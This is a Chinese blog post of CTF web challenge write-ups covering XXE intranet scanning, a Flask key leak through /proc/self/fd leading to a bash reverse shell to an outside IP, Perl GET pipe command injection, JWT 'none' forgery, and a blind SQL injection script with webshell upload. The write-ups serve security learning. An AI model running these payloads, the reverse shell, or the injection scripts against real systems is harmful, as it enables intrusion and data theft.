2024-5-27~6.1刷题记录 发表于 2024-05-27 | 更新于 2024-06-02
| 阅读量:
[NCTF2019]True XML cookbook 进来抓个登录包:
根据题目名字知道输入的用户名和密码使用XML格式的,并且发现回显的msg标签内容对应着发过去的username。
打入XXE的payload:
已经可以读取文件了,经过几次测试读不到flag,有可能藏在内网之中。
通过读取/proc/net/fib_trie
可以探测内网的ip。
构造python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requests as resurl="http://7335b722-9f8f-4016-a374-c8b76e6639e3.node5.buuoj.cn:81/doLogin.php" rawPayload='<?xml version="1.0"?>' \ '<!DOCTYPE user [' \ '<!ENTITY payload1 SYSTEM "http://10.244.80.{}">' \ ']>' \ '<user>' \ '<username>' \ '&payload1;' \ '</username>' \ '<password>' \ '23' \ '</password>' \ '</user>' for i in range (1 ,256 ): payload=rawPayload.format (i) print (str ("#{} =>" ).format (i),end='' ) try : resp=res.post(url,data=payload,timeout=0.3 ) except : continue else : print (resp.text,end='' ) finally : print ('' )
得到flag。
[网鼎杯 2020 白虎组]PicDown
进来就看到一个框,猜测存在任意文件包含漏洞。
试着输入/etc/passwd
,果然返回了一个jpg文件,当用记事本打开时,里面就是读取到的内容了。
想到读取/proc/self/cmdline
,查看启动进程的命令信息。
有个app.py,读取一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllibapp = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open (SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) @app.route('/' ) def index (): return render_template('search.html' ) @app.route('/page' ) def page (): url = request.args.get("url" ) try : if not url.lower().startswith("file" ): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream' ) response.headers['Content-Disposition' ] = 'attachment; filename=beautiful.jpg' return response else : value = "HACK ERROR!" except : value = "SOMETHING WRONG!" return render_template('search.html' , res=value) @app.route('/no_one_know_the_manager' ) def manager (): key = request.args.get("key" ) print (SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell" ) os.system(shell) res = "ok" else : res = "Wrong Key!" return res if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
如何才能得到正确的SECRET_KEY呢?
关注到漏洞点:
1 2 3 4 SECRET_FILE = "/tmp/secret.txt" f = open (SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE)
这里用open打开了secret.txt,没有关闭,就算删除了也可以在/proc/self/fd/id
中找到它。
具体的id值需要去爆破,爆破后可以在id=3的时候找到一串secret。
有了这串key,就可以去/no_one_know_the_manager路由里传参,接着传进自己的shell。
过了一天传这个key的时候发现一直会出错,不知道为什么,直到姬哥提示了一下。
注意:这个key中有可能会出现+
字符,这个字符在被传入的时候会被转义为空格字符,所以要用url编一下。
如果不输入shell也会报错,502报错即是内部代码导致的。
由于这里的shell无回显,所以尝试反弹shell:
1 bash -c 'bash -i >& /dev/tcp/47.113.219.244/2333 <&1'
[HITCON 2017]SSRFme 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $http_x_headers = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]); $_SERVER ['REMOTE_ADDR' ] = $http_x_headers [0 ]; } echo $_SERVER ["REMOTE_ADDR" ]; $sandbox = "sandbox/" . md5 ("orange" . $_SERVER ["REMOTE_ADDR" ]); @mkdir ($sandbox ); @chdir ($sandbox ); $data = shell_exec ("GET " . escapeshellarg ($_GET ["url" ])); $info = pathinfo ($_GET ["filename" ]); $dir = str_replace ("." , "" , basename ($info ["dirname" ])); @mkdir ($dir ); @chdir ($dir ); @file_put_contents (basename ($info ["basename" ]), $data ); highlight_file (__FILE__ );
这个GET命令我在linux虚拟机中测试了一下,发现可以当成ls
用。
于是仿照这种效果传入:
来到沙盒中的bbb查看:
果然爆出了根目录下的所有文件,并且发现了一个readflag执行文件。
上网查wp发现这个GET命令存在漏洞。
GET命令中存在perl语言的open函数,它会遇到一个bug:当perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠|)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。
利用这个漏洞,我们先传入:
1 url=&filename=bash -c /readfile|
生成一个和我们后续要执行的命令在名字上一模一样的文件。
接着传入:
1 url=file:bash -c /readfile|&filename=Flag1
接着进入Flag1查看,即可得到flag:
[b01lers2020]Welcome to Earth 前面一直抓包,跟进后端隐藏的路由即可。
最后看到有关flag的信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function scramble (flag, key ) { for (var i = 0 ; i < key.length ; i++) { let n = key.charCodeAt (i) % flag.length ; let temp = flag[i]; flag[i] = flag[n]; flag[n] = temp; } return flag; } function check_action ( ) { var action = document .getElementById ("action" ).value ; var flag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ]; }
翻译过来就是说flag是由["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
进行随机排列组合形成的。
本题重在编写python脚本对其进行排列组合,并进行简单的筛选:
EXP:
1 2 3 4 5 6 7 8 9 10 from itertools import permutationsflag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ] item = permutations(flag) for i in item: k = '' .join(i) if k.startswith('pctf{hey_boys' ) and k[-1 ] == '}' : print (k)
最后得出flag:
找几个像的试试就可以了。
[HFCTF2020]EasyLogin Ctrl+U中看到:
上网搜下koa,是个框架,其中核心源码存在:/controllers/api.js
核心部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 'POST /api/login' : async (ctx, next) => { const {username, password} = ctx.request .body ; if (!username || !password) { throw new APIError ('login error' , 'username or password is necessary' ); } const token = ctx.header .authorization || ctx.request .body .authorization || ctx.request .query .authorization ; const sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ; console .log (sid) if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { throw new APIError ('login error' , 'no such secret id' ); } const secret = global .secrets [sid]; const user = jwt.verify (token, secret, {algorithm : 'HS256' }); const status = username === user.username && password === user.password ; if (status) { ctx.session .username = username; } ctx.rest ({ status }); await next (); }, 'GET /api/flag' : async (ctx, next) => { if (ctx.session .username !== 'admin' ){ throw new APIError ('permission error' , 'permission denied' ); } const flag = fs.readFileSync ('/flag' ).toString (); ctx.rest ({ flag }); await next (); },
看到这里大概知道这题需要伪造jwt了。
挂上burp代理,发现登录包这边有一串jwt,解出来看看:
把alg换成none,并将secretid换成一个空数组进行绕过,iat输入burp里面抓出来的数据就行。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 import jwttoken = jwt.encode( { "secretid" : [], "username" : "admin" , "password" : "123" , "iat" : 1717140258 }, algorithm="none" ,key="" ).encode(encoding='utf-8' ) print (token)
得到jwt后,重新发登录包:
发现这两段,把它们塞进/api/flag的cookie里就出了:
[CISCN2019 总决赛 Day2 Web1]Easyweb 发现robots.txt里面有东西:
上网查一下,.bak是一种备份文件。又看到源码中出现了一个image.php的文件:
于是直接在访问/image.php.bak,拿到image.php的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php include "config.php" ;$id =isset ($_GET ["id" ])?$_GET ["id" ]:"1" ;$path =isset ($_GET ["path" ])?$_GET ["path" ]:"" ;$id =addslashes ($id );$path =addslashes ($path );$id =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$id );$path =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$path );$result =mysqli_query ($con ,"select * from images where id='{$id} ' or path='{$path} '" );$row =mysqli_fetch_array ($result ,MYSQLI_ASSOC);$path ="./" . $row ["path" ];header ("Content-Type: image/jpeg" );readfile ($path );
看到这串代码,第一反应就是SQL注入:把id右侧的单引号给闭合,拼接上注入的查询语句。但是addslashes函数会将单双引号等进行转义。
绕过方法:
紧跟着addslashes函数下面,规定把\\0
给替换成空字符,如果我们传入一个id=\0
,首先会因为addslashes函数,变成了\\0
。接着,\0
被替换为空,只剩下了一个\
,直接把'
转义掉了,于是后面我们就可以进行SQL语句的注入。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import reimport requestsimport string url = "http://ba16e097-069e-4f4a-a441-f6b8c88b7958.node5.buuoj.cn:81/image.php?id=\\0&path=or " flag = '' def payload (i, j ): sql = "id = if(ascii(substr((select username from users),%d,1))>%d,1,-1)%%23" %(i,j) r = requests.get(url + sql) if r.text: res = 1 else : res = 0 return res def exp (): global flag for i in range (1 , 10000 ): low = 31 high = 127 while low <= high: mid = (low + high) // 2 res = payload(i, mid) if res: low = mid + 1 else : high = mid - 1 f = int ((low + high + 1 )) // 2 if (f == 127 or f == 31 ): break flag += chr (f) print (flag) exp()
跑出来了用于登录的用户名和密码,直接登录。
有个上传文件的路由,传个马进去:
显示传进到一个后缀为php的日志中,跟进看看:
看到名字的内容被穿进去了,又因为日志是php后缀的,想到把木马以文件名的形式传入进去。发现php被ban了,于是用短标签绕过:
来到日志,已经拿到shell了,直接cat flag就行了。